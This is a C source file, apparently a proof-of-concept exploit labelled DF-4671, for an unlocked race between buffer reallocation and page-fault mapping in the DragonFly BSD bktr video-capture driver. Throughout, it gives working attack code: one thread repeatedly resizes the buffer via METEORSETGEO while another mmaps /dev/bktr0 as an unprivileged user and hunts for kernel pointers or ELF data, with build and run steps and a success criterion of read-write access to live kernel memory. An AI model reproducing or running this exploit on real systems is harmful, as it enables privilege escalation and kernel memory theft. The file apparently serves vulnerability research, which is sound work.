DF-4671 / bktr_mmap_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 | /* * DF-4671 - bktr_mmap fault-time dev_dmmap race vs METEORSETGEO buffer * free+reassign (no locking anywhere). * * Primitive (source-verified): * bktr_core.c:1667-1673 (METEORSETGEO grow path, unlocked): * buf = get_bktr_mem(unit, temp*PAGE_SIZE); // new buffer * kmem_free(kernel_map, bktr->bigbuf, ...); // OLD buffer KVA freed * bktr->bigbuf = buf; // <-- dangling window * bktr_os.c:680-683 (bktr_mmap, unlocked, re-run by the device pager at * PAGE-FAULT time - sys/vm/device_pager.c:360 old_dev_pager_fault): * if (ap->a_offset >= bktr->alloc_pages * PAGE_SIZE) return EINVAL; * ap->a_result = atop(vtophys(bktr->bigbuf) + ap->a_offset); * * A page fault served inside the kmem_free->bigbuf=new window computes * vtophys() on the freed KVA. kmem_free() on the object-less * kmem_alloc_pageable() entry does NOT pmap_remove (vm_map.c:3300-3370 * fall-through) and does NOT free the wired pages (no vm_page_free_contig), * so the stale kernel PTEs survive and the fault maps whatever now lives at * that KVA / the orphaned pages. If the KVA has been re-allocated in the * window, userspace gets an RW alias of live kernel memory. * * Requires: /dev/bktr0 (Bt848/878 PCI capture card present; node is 0444, * i.e. world-readable - unprivileged). * * Build: cc -O2 -pthread -o bktr_mmap_race bktr_mmap_race.c * Run: ./bktr_mmap_race (unprivileged user) * * SUCCESS CRITERION (on hardware): thread B maps a page whose contents do * not belong to the frame buffer: kernel pointers (0xffff...), an ELF * header, kernel strings - printed as "KERNEL-DATA HIT". */ #include <sys/ioctl.h> #include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <pthread.h> #include <errno.h> #include <dev/video/meteor/ioctl_meteor.h> #define DEV "/dev/bktr0" #define ROWS 1022 #define COLS 1022 /* legal geometry: cols even <=1022 (mask 0x3fe), rows even <=1022 (0x7fe), * frames <= 32. each grow past alloc_pages reallocates+frees bigbuf. */ static volatile int stop; static int probe_off = 0; /* file offset probed by the mapper thread */ static int g_fd = -1; static int ioctl_fd(void) { if (g_fd < 0) g_fd = open(DEV, O_RDONLY); return g_fd; } static int grow(int frames) { struct meteor_geomet g; g.rows = ROWS; g.columns = COLS; g.frames = frames; g.oformat = 0; /* RGB16 */ return ioctl(ioctl_fd(), METEORSETGEO, &g); } /* look for content that cannot be a zeroed/video frame buffer */ static int looks_like_kernel(uint8_t *p) { uint64_t *q = (uint64_t *)p; int i, nz = 0; for (i = 0; i < 4096 / 8; i++) { if (q[i]) nz++; if ((q[i] >> 48) == 0xffffULL) /* kernel pointer */ return 1; } if (memmem(p, 4096, "\177ELF", 4)) return 1; if (nz > 64 && memmem(p, 4096, "DragonFly", 9)) return 1; return 0; } static void *geo_thr(void *arg) { int frames = 2; while (!stop) { if (grow(frames) == 0) { fprintf(stderr, "[geo] grew to frames=%d " "(buf %d pages)\n", frames, (ROWS * COLS * frames * 2 + 4095) / 4096); frames++; } if (frames > 24) frames = 24; /* stay within contigmalloc limits */ usleep(200); } return NULL; } static void *map_thr(void *arg) { uint8_t *p; int fd, hits = 0, iters = 0; while (!stop) { fd = open(DEV, O_RDONLY); if (fd < 0) { perror("open " DEV); stop = 1; break; } /* ctor validates offset now; the FAULT re-queries dev_dmmap * (device_pager.c:360) at touch time - that is the race */ p = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, probe_off); if (p != MAP_FAILED) { iters++; if (looks_like_kernel(p)) { hits++; printf("KERNEL-DATA HIT at file offset 0x%x " "after %d mappings:\n", probe_off, iters); for (int i = 0; i < 4; i++) printf(" %016jx\n", (uintmax_t)*(uint64_t *)(p + i * 8)); stop = 1; } munmap(p, 4096); } close(fd); } fprintf(stderr, "[map] done: %d faults probed, %d hits\n", iters, hits); return NULL; } int main(int argc, char **argv) { pthread_t a, b; int fd; if (argc > 1) probe_off = strtoul(argv[1], NULL, 0) & ~4095; fd = open(DEV, O_RDONLY); if (fd < 0) { int e = errno; printf("open(\"%s\") failed: %s (errno %d)\n", DEV, strerror(e), e); if (e == ENXIO) printf("=> no bktr device on this machine " "(Bt848/878 PCI card absent): " "trigger is hardware-gated, cannot run here.\n"); return 2; } g_fd = fd; pthread_create(&a, NULL, geo_thr, NULL); pthread_create(&b, NULL, map_thr, NULL); pthread_join(b, NULL); stop = 1; pthread_join(a, NULL); return 0; } |